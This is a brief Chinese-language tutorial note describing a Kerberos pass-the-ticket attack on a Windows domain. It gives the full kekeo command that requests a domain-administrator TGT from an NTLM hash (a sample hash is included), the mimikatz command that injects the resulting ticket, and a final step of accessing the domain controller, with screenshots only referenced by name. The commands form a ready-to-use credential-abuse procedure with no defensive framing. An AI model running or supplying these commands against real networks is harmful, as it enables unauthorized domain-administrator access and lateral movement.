0x00 前言

制作票据进行PTT的时候，需要知道对方的ntlm哈希，才能制作

0x01 过程

1、生成票据

1
kekeo.exe "tgt::ask /user:"fzm\administrator" /domain:fzm.cn /ntlm:abce628a814a052c482797c7422e5c99
image-20221102160705674

2、导入票据

1
kerberos::ptt TGT_fzm~administrator@FZM.CN_krbtgt~fzm.cn@FZM.CN.kirbi
image-20221102161036238

3.查看票据并访问域控

image-20221102161249181